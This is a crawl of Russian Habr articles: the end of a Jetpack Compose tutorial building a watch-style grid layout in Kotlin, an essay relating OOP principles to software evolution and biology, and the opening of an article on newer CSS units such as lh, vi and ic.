* **measurePolicy** — интерфейс, который отвечает за размещение элементов в контейнере. В нашем случаем реализуем его как лямбду.Лямбда measurePolicy предоставляет два параметра: measurables и layoutConstraints. Первый — элементы контейнера, второй — параметры контейнера: нам из него понадобится ширина и высота.
4. Для работы с measurables надо перевести их в placeables: «измеряемые» — в «размещаемые», как бы странно это ни звучало. Для этого понадобится **itemConstraints.**
5. Для каждого элемента контейнера необходимо посчитать **x** и **y** координаты. На входе получаем одномерный массив элементов ***[0, 1, 2, … N-1]***. Для сетки необходим двумерный массив: он должен выглядеть так: ***[[0,0];[0,1];[0,2]; … [N-1, N-1]]***. Для этого каждый **index** переведём в объект ***Cell***, который будет содержать **x** и **y** для каждого элемента.
6. Теперь есть всё, чтобы отобразить элементы правильно. В **layout** необходимо передать ширину и высоту из **layoutConstraints**. Проходим циклом по списку **placeables** и для каждого элемента вызываем метод **place**. В него передаём **x** и **y** из массива **cells,** предварително домножив на **itemSizePx**.
Есть ещё несколько методов **place\***. Один из них нам пригодится дальше, а для базового понимания хватит этого.
В итоге получаем двумерную сетку из элементов. Два десятка строк, и уже можем отобразить элементы в кастомном контейнере: неплохо, Compose 👏
Далее реализуем State, который будет отвечать за расположение элементов, scale, overscroll, анимацию и сохранение состояния при повороте экрана. А также конфиг, который будет содержать все необходимые константы.
Сначала разберёмся, как работает scale элементов. Если обратить внимание на движение элементов при скролле, видно, что элементы двигаются по сферической траектории.
Однако элементы уменьшаются быстрее, когда приближаются к краю контейнера: можно сделать вывод, что это не совсем сферическая траектория, а эллиптическая. Тут понадобится формула [эллиптического параболоида](https://en.wikipedia.org/wiki/Paraboloid). Разберёмся, как её применить.
Формула выглядит так:
Но в таком виде она нам не поможет: параболоид надо перевернуть. Для этого необходимо сделать несложные преобразования:
**z** — это величина scale. Чтобы понять, как это поможет в вычислении scale, надо построить преобразованный график. Для этого можно использовать, например, утилиту Grapher, которая идёт вместе с macOs.
### Шаг второй: Создадим WatchGridConfig и пропишем все необходимые параметры
```
//1
class WatchGridConfig(
val itemSizePx: Int = 0,
val layoutHeightPx: Int = 0,
val layoutWidthPx: Int = 0,
val cells: List = emptyList()
) {
//2
val a = 3f \* layoutWidthPx
val b = 3f \* layoutHeightPx
val c = 20.0f
//3
val layoutCenter = IntOffset(
x = layoutWidthPx / 2,
y = layoutHeightPx / 2
)
val halfItemSizePx = itemSizePx / 2
//4
val contentHeight =
((cells.maxByOrNull { it.y }?.y?.let { y -> y + 1 }) ?: 0).times(itemSizePx)
val contentWidth =
((cells.maxByOrNull { it.x }?.x?.let { x -> x + 1 }) ?: 0).times(itemSizePx)
//5
val maxOffsetHorizontal = contentWidth - layoutWidthPx
val maxOffsetVertical = contentHeight - layoutHeightPx
//6
val overScrollDragDistanceHorizontal = layoutWidthPx - itemSizePx
val overScrollDragDistanceVertical = layoutHeightPx - itemSizePx
//7
val overScrollDistanceHorizontal = layoutWidthPx / 2 - halfItemSizePx
val overScrollDistanceVertical = layoutHeightPx / 2 - halfItemSizePx
//8
val overScrollDragRangeVertical =
(-maxOffsetVertical.toFloat() - overScrollDragDistanceVertical)
.rangeTo(overScrollDragDistanceVertical.toFloat())
val overScrollDragRangeHorizontal =
(-maxOffsetHorizontal.toFloat() - overScrollDragDistanceHorizontal)
.rangeTo(overScrollDragDistanceHorizontal.toFloat())
val overScrollRangeVertical =
(-maxOffsetVertical.toFloat() - overScrollDistanceVertical)
.rangeTo(overScrollDistanceVertical.toFloat())
val overScrollRangeHorizontal =
(-maxOffsetHorizontal.toFloat() - overScrollDistanceHorizontal)
.rangeTo(overScrollDistanceHorizontal.toFloat())
}
```
1. Создадим класс конфига и пропишем в конструкторе все параметры, которые вычислили при создании **WatchGridLayout**.
2. a, b, c — параметры, необходимые для вычисления scale.
3. Координаты центра контейнера и половина размера элемента.
4. Вычисляем ширину и высоту контента. Находим максимальные **x** и **y** в массиве **cells** и умножаем на размер элемента.
5. Параметры для скролла: должны быть такие, чтобы можно было полностью проскроллить контент.
6. Параметры для оверскролла. Величины, на которые можно перемещать контент.
7. Параметры для оверскролла. Используются для анимации bounce-эффекта, как на Apple watch.
### Шаг третий. Перейдём к реализации State
В State будет реализована функциональность, отвечающая за:
* вычисление координат элементов,
* хранение текущего смещения контента,
* анимацию скролла, оверскролла и fling-анимации.
Определим его интерфейс и реализацию по умолчанию.
```
interface WatchGridState {
val currentOffset: Offset
val animatable: Animatable
var config: WatchGridConfig
suspend fun snapTo(offset: Offset)
suspend fun animateTo(offset: Offset, velocity: Offset)
suspend fun stop()
fun getPositionFor(index: Int): IntOffset
fun getScaleFor(position: IntOffset): Float
fun setup(config: WatchGridConfig) {
this.config = config
}
}
```
1. **snapTo** — перемещает контент к заданному отступу.
2. **animateTo** — перемещает контент с анимацией к заданному отступу.
3. **stop** — останавливает текущую анимацию контента.
4. **getPositionFor** — вычисляет позицию элемента по его индексу.
5. **getScaleFor** — вычисляет scale элемента по его позиции.
6. **setup** — инициализирует конфиг.
Рассмотрим реализацию подробно.
**animatable** — содержит текущий отступ контента, отвечает за его перемещение и анимацию.
```
override val animatable = Animatable(
initialValue = initialOffset,
typeConverter = Offset.VectorConverter
)
```
В **snapTo** необходимо предварительно ограничить **x** и **y** параметрами из конфига, а потом передать их в animatable. snapTo будет вызываться в момент перемещения пальца по Layout.
```
override suspend fun snapTo(offset: Offset) {
val x = offset.x.coerceIn(config.overScrollDragRangeHorizontal)
val y = offset.y.coerceIn(config.overScrollDragRangeVertical)
animatable.snapTo(Offset(x, y))
}
```
Логика **animateTo** аналогична snapTo. Метод вызывается в момент, когда палец будет поднят, чтобы запустить анимацию оверскролла или fling.
```
private val decayAnimationSpec = SpringSpec(
dampingRatio = Spring.DampingRatioLowBouncy,
stiffness = Spring.StiffnessLow,
)
override suspend fun animateTo(offset: Offset, velocity: Offset) {
val x = offset.x.coerceIn(config.overScrollRangeHorizontal)
val y = offset.y.coerceIn(config.overScrollRangeVertical)
animatable.animateTo(
initialVelocity = velocity,
animationSpec = decayAnimationSpec,
targetValue = Offset(x, y)
)
}
```
Логика **getPositionFor** уже знакома. Часть сделали, когда писали базовую реализацию **WatchGridLayout,** только теперь все параметры содержатся в **WatchGridConfig.** Необходимо умножить координаты **x** и **y** этого элемента на размер элемента и добавить текущий отступ контента. И не забыть про дополнительный отступ для каждого второго ряда.
```
override fun getPositionFor(index: Int): IntOffset {
val (offsetX, offsetY) = currentOffset
val (cellX, cellY) = config.cells[index]
val rowOffset = if (cellY % 2 != 0) {
config.halfItemSizePx
} else {
0
}
val x = (cellX * config.itemSizePx) + offsetX.toInt() + rowOffset
val y = (cellY * config.itemSizePx) + offsetY.toInt()
return IntOffset(x, y)
}
```
В **getScaleFor** содержится вся логика вычисления scale элемента по графику функции эллиптического параболоида. Пара нюансов: scale надо считать для центра элемента и относительно центра Layout, а не его точки [0, 0].
Итоговый результат стоит ограничить, чтобы не получить отрицательные значения и значения больше 1.0. Я сделал, чтобы scale изменялся от 0.5 до 1.0. Обратите внимание: в конце добавил 1.1, а не 1, как в формуле выше. На мой взгляд, так работает визуально лучше.
```
override fun getScaleFor(position: IntOffset): Float {
val (centerX, centerY) = position.plus(
IntOffset(
config.halfItemSizePx,
config.halfItemSizePx
)
)
val offsetX = centerX - config.layoutCenter.x
val offsetY = centerY - config.layoutCenter.y
val x = (offsetX * offsetX) / (config.a * config.a)
val y = (offsetY * offsetY) / (config.b * config.b)
val z = (-config.c * (x + y) + 1.1f)
.coerceIn(minimumValue = 0.5f, maximumValue = 1f)
return z
}
```
С логикой state всё. Осталось самое маленькое, но не менее важное: научить Layout переживать поворот экрана. Для этого внутри **WatchGridStateImpl** создадим companion object и напишем реализацию для [Saver](https://developer.android.com/reference/kotlin/androidx/compose/runtime/saveable/Saver)**.** Всё, что надо сохранять, — это текущий отступ контента и потом передавать его как параметр **initialOffset** в конструктор **WatchGridStateImpl**.
Saver поддерживает только сериализуемые объекты. [Offset](https://developer.android.com/reference/kotlin/androidx/compose/ui/geometry/Offset) таковым не является, поэтому приходится сохранять его параметры **x** и **y** отдельно.
```
companion object {
val Saver = Saver>(
save = {
val (x, y) = it.currentOffset
listOf(x, y)
},
restore = {
WatchGridStateImpl(initialOffset = Offset(it[0], it[1]))
}
)
}
```
Обернём Saver в remember-обёртку. Всё, можно пользоваться.
```
@Composable
fun rememberWatchGridState(): WatchGridState {
return rememberSaveable(saver = WatchGridStateImpl.Saver) {
WatchGridStateImpl()
}
}
```
### Шаг четвертый. Подключим реализованный state в Layout
Пропишем state в параметры.
```
@Composable
fun WatchGridLayout(
modifier: Modifier = Modifier,
rowItemsCount: Int,
itemSize: Dp,
state: WatchGridState = rememberWatchGridState(),
content: @Composable () -> Unit,
) {// . . .}
```
Перед вызовом layout(...) передадим конфиг в state.
```
state.setup(
WatchGridConfig(
layoutWidthPx = layoutConstraints.maxWidth,
layoutHeightPx = layoutConstraints.maxHeight,
itemSizePx = itemSizePx,
cells = cells
)
)
layout(layoutConstraints.maxWidth, layoutConstraints.maxHeight) {...}
```
А внутри layout(...) заменим старую логику на вызовы методов из state. Воспользуемся методом **placeWithLayer** для размещения элементов.
```
layout(layoutConstraints.maxWidth, layoutConstraints.maxHeight) {
placeables.forEachIndexed { index, placeable ->
val position = state.getPositionFor(index)
val scale = state.getScaleFor(position)
placeable.placeWithLayer(
position = position,
layerBlock = {
this.scaleX = scale
this.scaleY = scale
}
)
}
}
```
Получаем сетку с правильным сдвигом рядов и уже рассчитанным scale элементов.
Осталось самое интересное: обработать drag-жест, чтобы двигать контент внутри layout.
Сompose под капотом содержит много coroutine-кода, и нас корутины тоже не обойдут стороной. Но оно и к лучшему: проще работы с жестами в Android я ещё не встречал.
Обработка drag-жеста будет производиться через кастомный **Modifier**. Чтобы не засорять код **WatchGridLayout**, создадим класс **WatchGridKtx** и в нём напишем реализацию.
```
//1
fun Modifier.drag(state: WatchGridState) = pointerInput(Unit) {
//2
val decay = splineBasedDecay(this)
val tracker = VelocityTracker()
//3
coroutineScope {
//4
forEachGesture {
//5
awaitPointerEventScope {
//6
val pointerId = awaitFirstDown(requireUnconsumed = false).id
//7
launch {
state.stop()
}
tracker.resetTracking()
//8
var dragPointerInput: PointerInputChange?
var overSlop = Offset.Zero
do {
dragPointerInput = awaitTouchSlopOrCancellation(
pointerId
) { change, over ->
change.consumePositionChange()
overSlop = over
}
} while (
dragPointerInput != null && !dragPointerInput.positionChangeConsumed()
)
//9
dragPointerInput?.let {
launch {
state.snapTo(state.currentOffset.plus(overSlop))
}
drag(dragPointerInput.id) { change ->
val dragAmount = change.positionChange()
launch {
state.snapTo(state.currentOffset.plus(dragAmount))
}
change.consumePositionChange()
tracker.addPointerInputChange(change)
}
}
}
//10
val (velX, velY) = tracker.calculateVelocity()
val velocity = Offset(velX, velY)
val targetOffset = decay.calculateTargetValue(
typeConverter = Offset.VectorConverter,
initialValue = state.currentOffset,
initialVelocity = velocity
)
launch {
state.animateTo(
offset = targetOffset,
velocity = velocity,
)
}
}
}
}
```
1. Создадим расширение **Modifier.drag** с параметром **state: WatchGridState**.
2. Параметры decay и tracker понадобятся для вычисления параметра velocity, который необходим для метода animateTo.
3. Поскольку необходимо будет работать с suspend-функциями, понадобится coroutineScope.
4. Работа с жестами начинается с блока **forEachGesture.** Логика этого блока проста: после поднятия последнего пальца он запускает код внутри себя заново.
5. Блок **awaitPointerEventScope** нужен непосредственно для обработки жестов.
6. Ожидаем, когда произойдет касание.
7. Останавливаем текущую анимацию и прекращаем отслеживание у velocity tracker.
8. В цикле do…while.. необходимо убедиться, что произошел drag-жест: это нужно, чтобы различать типы жестов. Например, если элемент Layout сделать clickable, он будет перекрывать drag-жест. Поэтому, перед тем как отслеживать перемещение пальца, необходимо понять, что это точно drag, а не случайное нажатие или тап по элементу Layout.
9. Теперь, когда мы точно знаем, что опущенный палец перемещается по экрану непрерывно, можно обработать его как drag-жест. Передаем id пальца в специальный метод drag, который будет через callback передавать наружу изменение положение пальца. Его передадим в метод **snapTo**, и контент начнёт перемещаться по Layout. Также не забываем передавать это изменение в **tracker,** чтобы посчитать velocity.
10. Как только палец поднят с области Layout, блок **awaitPointerEventScope** прекращает работу. Происходит вычисление параметров для работы анимации. Все вычисленные параметры, соответственно, передаются в метод **animateTo.** Если при быстром скролле контента вы поднимете палец, увидите fling-анимацию. Если будете скролить контент до края экрана, увидите debounce-эффект, и контент отскроллится до середины Layout — прямо как на Apple watch.
На этом всё. [Исходники можно посмотреть на Github](https://github.com/ozh-dev/Compose-Challenges/tree/master/app/src/main/java/ru/ozh/compose/challenges/ui/grid). Удачи в написании своих кастомных Layout ;) | https://habr.com/ru/post/683264/ | null | ru | null |
# Эволюция программного проекта и ООП
Осваивая рецепты эффективного развития программного проекта, постарался для себя найти причины, делающие полезным использование принципов развития архитектуры SOLID (статья [Как не понимать принципы развития архитектуры SOLID](https://habr.com/ru/post/444932/)).
Анализ этих принципов позволил выделить несколько ключевых закономерностей и базовых элементов, существующих в разработке. Они позволили описать, понять и внедрить SOLID в реальной работе с программным проектом.
Стало интересно выполнить анализ применимости этих понятий для общепринятых парадигм программирования, например для ООП. Хорошо, если результат этой работы будет полезен и Вам.
На сегодняшний день существует множество подходов для проектирования и последующей реализации программных проектов. Наиболее востребованными в работе с большими программными проектами являются: [структурное программирование](https://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D1%83%D0%BA%D1%82%D1%83%D1%80%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5), [функциональное программирование](https://ru.wikipedia.org/wiki/%D0%A4%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%BE%D0%BD%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5), [объектно-ориентированное программирование](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
Для меня стал интересен анализ причин возникновения этих подходов проектирования. И в процессе анализа неожиданным открытием стал факт, что все они неявно основываются на следующей предпосылке:
```
Необходимость планомерного развития проекта
с минимизацией затрат на повторное написание кода,
тождественного или сходного с уже существующим.
```
Развитие программного проекта
-----------------------------
Что такое проект без необходимости развития? Такие проекты изредка встречаются и в основном характеризуются быстрой сдельной оплатой без возникновения последующих обязательств со стороны программиста, например:
* небольшой проект, который возможно написать с одного подхода;
* проект без структурно-сложного кода, обремененного большим количеством взаимосвязей;
* программный продукт без необходимости его сопровождения и поддержки пользователей.
В подобных ситуациях усилия программиста, направленные на поддержание, например, объектно-ориентированного подхода, тратятся впустую. Часто бывает, что я обнаруживаю себя в таком бессмысленном занятии во время разработки одноразовой консольной утилиты, когда вдруг понимаю, что написание текста 4-ого класса в этом проекте задержало меня на 15 минут и к результату не приблизило. Самое печальное, что все классы, с трудом написанные в таких проектах, забываются и не используются повторно, то есть не облегчают нам работу в дальнейшем.
Во всех остальных ситуациях программист, минимизируя свой труд, должен развивать структурно-сложный проект, то есть:
* Производить корректировку ошибок, анализируя код и находя места, в которых эти ошибки формируются.
* Вносить новые функциональные возможности, сохраняя при этом работоспособность всех ранее имевшихся возможностей. При этом использовать уже существующий код (написанный и проверенный) в реализации этих новых задач.
* Обеспечивать поддержку в использовании программного продукта.
* Выполнять описание и согласование функциональных возможностей всех версий проекта.
* Сохранять работоспособными все, используемые проектом форматы данных (даже устаревшие).
* И выполнять многие другие задачи, появляющиеся в противостоянии с конкурентами, вызванные изменяющимися фреймворками или завершением поддержки устаревших ОС...
Если поискать аналогии развитию программного проекта, то можно вспомнить эволюцию биологического вида.
```
Программный проект подобен сложному развивающемуся "организму".
Программист для этого организма - изменчивость и естественный отбор в одном лице.
Зарплата программиста совместно с его навыками - скорость эволюции.
```
Труд программиста не легок, но у программиста есть "помощник". Этот помощник спрятан где-то глубоко в устройстве нашего мира, в котором есть две особенности:
* возможность написать один полезный алгоритм и использовать его для множества сходных задач,
* наличие превеликого множества задач сходных по своему решению.
Этот полезный во многих областях алгоритм далее для краткости буду именовать *универсальным* алгоритмом. Его реализацию для конкретной области применения можно назвать специализацией, так как процесс уточнения алгоритма для использования в узкой области применения подобен эволюционной специализации клеток в живом организме.
Очевидно, что для создания алгоритма требуется выделить признаки, которые обеспечивают применимость алгоритма. Эти признаки необходимо искать во входных данных и в описании начальной ситуации (контекста). Для создания *универсального* алгоритма необходимо в каждой предметной области, имеющей свои наборы признаков данных и ситуаций, выделить тождественные для всех областей признаки применимости. Все остальные признаки, не обеспечивающие применимость, *универсальным* алгоритмом игнорируются. Формализуя *универсальный* алгоритм, мы пришли к необходимости использования *абстрагирования* — одного из самых важных принципов ООП. При этом для ООП характерен акцент лишь на абстракции данных.
Здесь попробую выписать примеры использования *абстрагирования* из разных областей.
| Абстракция | Алгоритмы | Область применения |
| --- | --- | --- |
| Натуральные числа | Алгоритмы количественных расчетов | Задачи учёта хозяйственных ценностей |
| Масса-характеристика материального тела | Алгоритмы-операций сравнения количества вещества | Задачи сравнения ценности товара, не поддающегося счету |
| Интерфейс с операциями для коллекции элементов: полный обход, сравнение и обмен позиций | Алгоритмы сортировки коллекции | Программирование |
| Интерфейс одинаковых операций для "концевого узла" и "узла ветвления" в дереве | Алгоритмы на основе шаблона проектирования "Компоновщик" | Разработка сложного программного проекта |
| Ключевое понятие "Работник" | Формулировки в разделе "Трудовой договор" | Трудовой кодекс |
Строительный блок программного проекта
--------------------------------------
Используя разные приемы абстракции, программист выполняет реализацию алгоритма в виде участка кода, который представляет собой обособленный и законченный элемент его труда. Этот элемент в зависимости от используемого языка программирования может представлять собой и функцию, и объект, и последовательность инструкций. Назовем для удобства дальнейшего изложения этот фрагмент кода словом "**компонент**".
**Компонент** — участок кода (процедура, класс, deployment component и т.д.):
* который реализует некоторый законченный алгоритм, работающий в определенных начальных ситуациях и с определенными входными данными,
* который возможно использовать несколько раз в одном проекте (еще лучше много раз в разных проектах),
* все инструкции которого расположены близко и просматриваются без необходимости дополнительных поисковых операций в среде разработки,
* изменения в котором программист выполняет относительно независимо по отношению к остальным участкам кода.
Закономерности в развитии программного проекта
----------------------------------------------
С использованием термина **компонент** появляется возможность сформулировать совокупность простых закономерностей, существующих в разработке программного проекта. Эти закономерности представлю в виде следующих утверждений, разбитых на 3 категории.
1. Утверждения, описывающие свойства **компонента**.
1.1. Корректно написанный **компонент** обязательно используется и чаще несколько раз.
1.2. В каждом месте использования **компонента** от него ожидается неизменное поведение, приводящее к повторяемому результату.
1.3. При использовании **компонента** в нескольких местах результат должен удовлетворять каждому месту использования.
1.4. Поведение, заложенное в **компоненте**, формирует ограничения для мест использования этого **компонента**.
1.5. В каждом месте использования **компонента** могут быть задействованы все его ограничения.
1.6. Любое изменение **компонента** изменяет его ограничения и требует проверки всех мест его использования, что порождает затраты времени программиста.
1.7. **Компонент** целесообразно записывать в виде кода в одном экземпляре, то есть необходимо устранять дублирование одинакового кода. Это уменьшит количество правок при внесения изменения в **компонент**.
2. Утверждения, описывающие закономерности в реализации программистом новой задачи.
2.1 Вариант реализации новой задачи целесообразно выбирать минимизируя затраты времени программиста.
2.2. Для реализации новой задачи программист может добавить новые **компоненты** или изменить поведения старых **компонентов**.
2.3. Добавление **компонента** в основном требует проверки только в месте нового использования, и порождает минимальные затраты времени программиста.
2.4. Обусловленное новой задачей изменение поведения **компонента**, согласно утверждению [1.6], требует проверки в месте нового использования и во всех местах старого использования, что порождает дополнительные затраты времени программиста по сравнению с ситуацией в утверждении [2.3]. В случае опубликованного **компонента** это требует работы всех программистов, использовавших измененный **компонент**.
3. Утверждения, описывающие закономерности во взаимодействии *универсальных* алгоритмов и их специализаций:
3.1. Существует возможность написать *базовый* **компонент** (название вводится по аналогии с базовым классом и далее для краткости будем использовать слово "*база*"). *База* выполняет только самые главные черты некоторого *универсального* алгоритма.
3.2. Существует возможность написать **компонент**-специализацию (далее для краткости будем использовать слово "*специализация*"). *Специализация* дополняет *универсальный* алгоритм *базы*, делая его применимым в конкретной области использования.
3.3. *База*, как следует из утверждений [3.1], [3.2], имеет меньшую сложность и меньше ограничений в применении, чем *специализация*.
3.4. Согласно утверждению [1.7] *специализацию* целесообразно разрабатывать без дублирования кода *универсального* алгоритма из *базы*.
3.5. Места использования *базы* не требуют проверки после внесения изменений в корректно сформированную *специализацию*.
Понятия объектно-ориентированного программирования
--------------------------------------------------
Попробую, используя перечисленные утверждения, выполнить анализ основных понятий объектно-ориентированного программирования. Этот анализ обходит понятие *абстрагирование*, так как оно уже было описано ранее в формализации способа построения *универсального* алгоритма.
### Класс, Объект
Данные понятия ООП закрепляют целесообразность использования специального вида **компонента**, описываемого совокупностью некоторых внутренних данных и методов работы с этими данными. Все утверждения группы [1] и [2] транслируются в ООП, для которого термин **компонент** заменяется понятием *класс*.
При этом, на первый взгляд, отношения *класса* и *объекта* исчерпываются группой утверждений [3], в которой *база* заменяется понятием *класс*, а *реализация* — понятием *объект*. Причем *реализация* получается динамическая, то есть изменяемая в процессе исполнения программы.
### Инкапсуляция
Понятие "*инкапсуляция*" можно рассмотреть с двух "сторон".
Первая сторона понятия "*инкапсуляция*" — это обособленность **компонента** от других участков кода. Это свойство позволяет программисту для внесения изменений в **компонент** выполнить операции в участках кода, которые расположены "близко". То есть минимизировать затраты времени программиста, исключая из работы поиск и анализ разрозненных взаимодействующих элементов программы. Эта сторона задается свойствами **компонента**, следующими из его определения.
Вторая сторона понятия "*инкапсуляция*" — это сокрытие внутренней реализации **компонента**. Это сокрытие возможно с использованием понятий *база* и *реализация*, описанных в группе утверждений [3]. Для этого публичные методы *класса* отождествляются с *базой*, а приватные и защищенные методы класса — с *реализацией*. В местах использования используются ограничения, формируемые *базой*, и потому появляется возможность производить изменения в *реализации*, не касающиеся *базовых* ограничений. И эти изменения *реализации* не нужно проверять в местах использования *базы* [3.5], что обеспечивает минимизацию трудозатрат программиста.
Примечательно, что понятие "*инкапсуляция*" имеет аналогию в биологии. Этот процесс первой своей стороной схож с биологическими функциями "[Клеточной мембраны](https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B5%D1%82%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%BC%D0%B5%D0%BC%D0%B1%D1%80%D0%B0%D0%BD%D0%B0)".
### Наследование
Понятия "*наследование*" продолжает закреплять важность использования связки *база* + *реализация*. Для этого в группе утверждений [3] необходимо методы родительского класса отождествить с *базой*, а методы класса-наследника отождествить с *реализацией*.
В своей реализации понятие "*наследование*" позволяет использовать утверждение [2.3], то есть использовать дополнение кода вместо его изменения и дублирования. При этом необходимо исключить дублирование *базового* алгоритма. Однако, у подхода, использующего *наследование* для специализации *универсального* алгоритма, есть существенный минус. Этот недостаток — наличие двух сильно-связных **компонентов**, которые тяжело изменять независимо. Эти связи-зависимости порождаются отношением родитель-наследник.
Существует множество альтернативных способов использовать связку *база* + *реализация*. Приведу далее примеры таких способов.
| *База* | *Реализация* | Область применения |
| --- | --- | --- |
| Публичные методы класса | Приватные методы класса | *Инкапсуляция* |
| Защищенные методы родительского класса | Методы класса-наследника | *Наследование* |
| Интерфейс динамической библиотеки | Функционал динамической библиотеки | **Компонент**=динамическая библиотека |
| Шаблонные (обобщенные) методы и классы (template, generic) | Инстанцирование шаблона с указываемыми аргументами | Обобщенное программирование |
| Универсальные методы, принимающие делегаты | Специализация методов указанием конкретных процедур обработки | Процедуры сортировки или формирования дерева, с указанием метода оценки порядка элементов |
| Классы, предусматривающие взаимодействие с шаблоном "Посетитель" | Формирование "Посетителя" с требуемым функционалом | Шаблон проектирования "Посетитель" |
| Панель управления АЭС | Совокупность автоматики и оборудования АЭС | Сокрытие сложности системы от оператора АЭС |
Параллельно, подмечаю, что для понятия "*наследование*" из ООП, так же можно найти аналогию в процессах биологической эволюции. В биологии для этого используется термин "[*Наследственность*](https://ru.wikipedia.org/wiki/%D0%9D%D0%B0%D1%81%D0%BB%D0%B5%D0%B4%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D1%8C)".
### Полиморфизм
По моему мнению, понятие "*полиморфизм*" — это вторая сторона при взгляде на процедуру создания *универсального* алгоритма. Первая сторона ( *абстрагирование*) — это взгляд с точки зрения способов создания *универсального* алгоритма. В то же время при взгляде на *универсальный* алгоритм с точки зрения пользователя, получаем запись понятия *полиморфизм*. То есть *полиморфизм* это полезная способность функции (**компонента**) обрабатывать данные разных типов. Добавление этого понятия в ООП закрепляет полезность использования *универсального* алгоритма в разработке программного проекта.
Реализации полиморфизма в разных языках программирования сильно отличаются. В статье Википедии для [полиморфизма](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%B8%D0%BC%D0%BE%D1%80%D1%84%D0%B8%D0%B7%D0%BC_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)), в зависимости от его реализации, выделяют 4 подтипа: параметрический, включения (или подтипов), перегрузки, приведения типов. Эти реализации имеют существенные отличия, но все они объединяются одной целью — это написание *универсального* алгоритма, который не нужно будет дублировать для конкретной его *специализации*.
И на этот раз почти без удивления, нашел аналогию для понятия "*полиморфизм*" в биологии. Название этого биологического термина полностью совпадает с понятием из ООП. "[*Полиморфизм*](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%B8%D0%BC%D0%BE%D1%80%D1%84%D0%B8%D0%B7%D0%BC_(%D0%B1%D0%B8%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F))" — способность одного организма существовать в состояниях с различной внутренней структурой или в разных внешних формах.
Заключение
----------
Таким образом почти все основные понятия ООП можно представить в виде совокупности простых утверждений, сформированных на основе закономерностей развития программного проекта. При этом для ООП термин **компонент** отождествляется с понятием *класс*. Если же выделить для термина **компонент** другое значение, например *функция*, то возможно получится сформулировать основные понятия *функционального* *программирования*.
В процессе написания статьи были найдены биологические аналогии для понятий, используемых в программировании. Эти аналогии появляются из-за подобия способов развития программного продукта и некоторых процессов биологической эволюции.
IMHO, целесообразно рассмотреть эти две научные области совместно. При этом, возможно, получится провести перенос законов из одной отрасли в другую, и тем самым обеспечить развитие и информационных технологий, и формальных описаний биологических процессов.
Спасибо Вам за внимание.
Отзывы
------
Буду очень благодарен за отзывы, пожелания и предложения, так как они помогают скорректировать направление развития работы в этой области.
Ссылки
------
* [Общая теория алгоритмов wiki](https://gitlab.com/aiborisov84/ai_borisov_CIT/-/wikis/home)
* [Первая статья серии](https://habr.com/ru/post/446066/)
Под редакцией Борисовой М.В. | https://habr.com/ru/post/448026/ | null | ru | null |
# Новые (и старые) единицы измерения в CSS, о которых вы вряд ли слышали
В последнее время JavaScript развивается очень *быстро*, но и языки-помощники веб-разработчика не стоят на месте.
CSS тоже развивается, и хотя Houdini в скором времени, возможно, сделает прорыв в CSS-разработке, до широкого применения, к сожалению, еще далеко. Так что, как и прежде, созываются экспертные совещания, на которых составляют новые спецификации и так далее. Прогресс не такой стремительный, как у TC39, но это лучше, чем ничего.
В этой статье мы поговорим о возможностях CSS, о которых вы, скорее всего, не слышали, а если и слышали, то вряд ли использовали — о единицах измерения. И нет, говорить будем не о «старых» единицах `vw` и `vh` (хотя мне *все еще* приходится их объяснять людям, которые не очень хорошо разбираются в CSS).
[](https://habr.com/company/poiskvps/blog/421709/#habracut)
Ниже приведены новые единицы измерения в CSS, которые будут указаны в документе [CSS Values and Units Module Level 4](https://drafts.csswg.org/css-values-4).
### `lh` и `rlh`
Начнем сразу с интересного. `lh` — это **текущая высота строки**, что может оказаться очень полезным при расчете высоты текста. К сожалению, *ни один браузер* ее не поддерживает.
`rlh`, в свою очередь, по аналогии с `rem` для `em` соответствует высоте строки корневого элемента.
### `vi` и `vb`
Вот еще одно интересное нововведение, которое по аналогии с `vw` и `vh` эквивалентно проценту от размера окна. А именно:
* `vi` эквивалентно 1% размера окна просмотра по направлению написания строки;
* `vb` эквивалентно 1% размера окна просмотра поперек направления написания строки.
Что это за [«инлайн» и «блочные» оси](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties#Block_vs._inline)? В случае с языками с горизонтальным письмом, например с английским или арабским (где пишут справа налево), они являются горизонтальной и вертикальной осями, соответственно, а единицы являются эквивалентами `vw` и `vh`.
В случае же с языками с *вертикальным* письмом (например, в японском), эти оси *меняются местами*.
Эти отличия учитывались в CSS с самого начала (например, в свойстве `display`), а теперь они систематически используются при создании все большего количества CSS-спецификаций.
Жаль, что и в этом случае *ни один браузер* эти единицы пока не поддерживает.
### `ic`
Раз мы начали говорить об интернационализации, уместно перейти к единице `ic`, восточному аналогу единицы `ch`, которая означает размер символа 0. `ic`, в свою очередь, означает размер идеограммы CJK (китайского, японского и корейского языков) 水 («вода», U+6C34), и в широком смысле эту единицу можно понимать как количество идеограмм.
А что такое «размер»? Это так называемая «общая занимаемая величина» ([advance measure](https://drafts.csswg.org/css-values-4/#length-advance-measure)): если речь идет о горизонтальном письме, то размер — это общая занимаемая ширина, если о вертикальном письме — то высота. Обратите внимание на то, что этот принцип *действует* и для единицы `ch`!
